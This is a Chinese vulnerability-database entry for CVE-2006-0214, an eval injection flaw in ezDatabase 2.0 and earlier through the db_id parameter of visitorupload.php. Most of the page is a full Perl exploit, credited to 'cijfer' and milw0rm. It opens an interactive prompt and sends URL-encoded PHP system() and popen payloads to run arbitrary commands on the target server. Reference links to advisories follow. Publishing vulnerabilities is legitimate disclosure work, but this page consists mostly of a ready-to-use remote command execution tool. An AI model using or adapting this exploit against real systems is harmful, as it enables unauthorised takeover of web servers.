EZDatabase Eval注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1109662 漏洞类型 输入验证
发布时间 2006-01-22 更新时间 2006-01-22
CVE编号 CVE-2006-0214 CNNVD-ID CNNVD-200601-153
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/1442
https://cxsecurity.com/issue/WLB-2006010039
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200601-153
|漏洞详情
ezDatabase2.0及更早版本中存在Eval注入漏洞,远程攻击者可以通过visitorupload.php的db_id参数执行任意PHP代码,如使用phpinfo并包含函数调用所示。
|漏洞EXP
#!/usr/bin/perl
#
# ezDatabase Remote Command Execution Exploit
# based on advisory by Pridels Team
#
# Copyright (c) 2006 cijfer <cijfer@netti!fi>
# All rights reserved.
#
# never ctrl+c again.
# cijfer$ http://target.com/dir
# host changed to 'http://target.com/dir'
# cijfer$ 
#
# $Id: cijfer-ezdbxpl.pl,v 0.1 2006/01/21 019:22:00 cijfer Exp $

use LWP::UserAgent;
use URI::Escape;
use Getopt::Long;
use Term::ANSIColor;

$res  = GetOptions("host=s" => \$host, "proxy=s" => \$proxy, "verbose+" => \$verbose);
&usage unless $host;

while()
{
	print color("green"), "cijfer\$ ", color("reset");
	chomp($command = <STDIN>);
	exit unless $command;
	if($command =~ m/^http\:\/\/(.*)/g)
	{
		$host="http://".$1;
		print "host changed to '";
		print color("bold"), $host."'\n", color("reset");
	}
	&exploit($command,$host);
}

sub usage
{
	print "ezDatabase Remote Command Execution Exploit\n";
	print "Usage: $0 -hp [OPTION]...\n\n";
	print "  -h --host\tfull address of target (ex. http://www.website.com/directory)\n";
	print "  -p --proxy\tprovide an HTTP proxy (ex. 0.0.0.0:8080)\n";
	print "  -v --verbose\tverbose mode\n\n";
	exit;
}

sub exploit
{
	my($command,$host) = @_;

	$cij=LWP::UserAgent->new() or die;
	$cij->agent("Mozilla/5.0 (X11; U; Linux i686; fi-FI; rv:2.0) Gecko/20060101");
	$cij->proxy("http", "http://".$tunnel."/") unless !$proxy;

	$string  = "%65%63%68%6F%20%5F%63%69%6A%66%65%72%5F%3B";
	$string .= uri_escape(shift);
	$string .= "%3B%20%65%63%68%6F%20%5F%63%69%6A%66%65%72%5F";
	$execut  = "%3C%3F%24%68%61%6E%64%6C%65%3D%70%6F%70%65%6E";
	$execut .= "%5C%28%24%5F%47%45%54%5B%63%69%6A%5D%2C%22%72";
	$execut .= "%22%29%3B%77%68%69%6C%65%28%21%66%65%6F%66%28";
	$execut .= "%24%68%61%6E%64%6C%65%29%29%7B%24%6C%69%6E%65";
	$execut .= "%3D%66%67%65%74%73%28%24%68%61%6E%64%6C%65%29";
	$execut .= "%3B%69%66%28%73%74%72%6C%65%6E%28%24%6C%69%6E";
	$execut .= "%65%29%3E%3D%31%29%7B%65%63%68%6F%22%24%6C%69";
	$execut .= "%6E%65%22%3B%7D%7D%70%63%6C%6F%73%65%28%24%68";
	$execut .= "%61%6E%64%6C%65%29%3B%3F%3E";

	$out=$cij->get($host."/visitorupload.php?db_id=%3b%73%79%73%74%65%6d%28%24%5f%47%45%54%5b%63%6d%64%5d%29&cmd=".$string);

	if($out->is_success)
	{
		@cij=split("_cijfer_",$out->content);
		print substr(@cij[1],1);
	}
	if($verbose)
	{
		$recv=length $out->content;
		print "Total received bytes: ".$recv."\n";
		$sent=length $command;
		print "Total sent bytes: ".$sent."\n";
	}
}

# milw0rm.com [2006-01-22]
|参考资料

来源:XF
名称:ezdatabase-visitorupload-file-include(24136)
链接:http://xforce.iss.net/xforce/xfdb/24136
来源:BID
名称:16237
链接:http://www.securityfocus.com/bid/16237
来源:SREASON
名称:351
链接:http://securityreason.com/securityalert/351
来源:SECUNIA
名称:18043
链接:http://secunia.com/advisories/18043
来源:MISC
链接:http://pridels0.blogspot.com/2006/01/ezdatabase-20-and-below.html